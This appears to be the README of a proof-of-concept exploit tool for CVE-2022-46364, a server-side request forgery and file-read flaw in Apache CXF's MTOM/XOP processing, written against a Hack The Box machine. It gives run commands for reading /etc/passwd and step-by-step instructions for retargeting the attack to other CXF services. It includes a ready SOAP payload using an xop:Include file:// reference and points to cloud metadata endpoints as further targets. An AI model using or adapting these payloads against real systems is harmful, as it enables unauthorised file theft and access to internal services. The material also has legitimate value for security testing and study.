CVE-2022-46364 — Apache CXF MTOM/XOP SSRF (File Read)

Proof-of-Concept exploit for CVE-2022-46364 — an Apache CXF server-side request forgery (SSRF) vulnerability in MTOM/XOP request processing.

Vulnerability Summary

CVE-2022-46364 affects Apache CXF versions before 3.4.10 and 3.5.5. When MTOM (Message Transmission Optimization Mechanism) is enabled on a SOAP service, the CXF unmarshaller incorrectly validates the href attribute inside <xop:Include> elements. Instead of restricting href to cid: URIs (as required by the W3C XOP specification), CXF dereferences arbitrary URIs — including file://, http://, and https://.

This allows an unauthenticated attacker to:

• Read arbitrary local files (file:///etc/passwd)
• Perform SSRF against internal services (http://169.254.169.254/)
• Potentially reach cloud metadata endpoints or internal APIs

Target

This PoC was written and tested against the Hack The Box machine:

Target endpoint: http://devarea.htb:8080/employeeservice

But small changes in XML payload according to target WSDL, make it adaptable to target environment.

Usage

Read /etc/passwd (default target)

Default Url is http://devarea.htb:8080/employeeservice.

python3 CVE-2022-46364.py --file /etc/passwd

Custom target URL

python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd

Verbose mode — show request & raw response

python3 CVE-2022-46364.py --file /etc/passwd --verbose

Adapting to Other Targets

Important: This script is hardcoded for the HTB DevArea WSDL structure. To use it against another vulnerable Apache CXF service, you must modify the SOAP payload inside build_payload() to match the target's WSDL contract.

Steps to adapt:

1. Fetch the WSDL from the target:

   root@kitploit:~

   curl http://target:8080/employeeservice?wsdl
   

2. Identify the service details:

   • targetNamespace (e.g. http://devarea.htb/)
   • Operation name (e.g. submitReport)
   • Parameter structure (e.g. <arg0> with nested <content>)

3. Modify the payload in build_payload():

   • Update the namespace (xmlns:dev="...")
   • Update the operation name (<dev:submitReport>)
   • Update the parameter wrapper (<arg0>)
   • Place <xop:Include href="file://{filepath}"/> inside a field that the server will process as an attachment

Example WSDL adaptation

Given this WSDL snippet:

<wsdl:definitions targetNamespace="http://example.com/">
  <wsdl:operation name="uploadDocument">
    <wsdl:input message="tns:uploadDocument"/>
  </wsdl:operation>
</wsdl:definitions>

Your payload should become:

<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
  <soapenv:Body>
    <ex:uploadDocument>
      <document>
        <xop:Include href="file:///etc/passwd"/>
      </document>
    </ex:uploadDocument>
  </soapenv:Body>
</soapenv:Envelope>

How It Works

1. The script crafts a multipart/related HTTP request with Content-Type: application/xop+xml.
2. Inside the SOAP body, an <xop:Include href="file:///etc/passwd"/> element is placed.
3. The vulnerable CXF server treats this as an attachment reference and dereferences the file:// URI.
4. The file contents are read, base64-encoded by the server, and returned inside the SOAP <return> element.
5. The script extracts the base64 string after Content: and decodes it.

References

Disclaimer

This tool is intended for authorized security testing and educational purposes only. Always obtain explicit permission before testing systems you do not own. The author is not responsible for any misuse or damage caused by this script.

License

MIT License — feel free to use, modify, and share with proper attribution.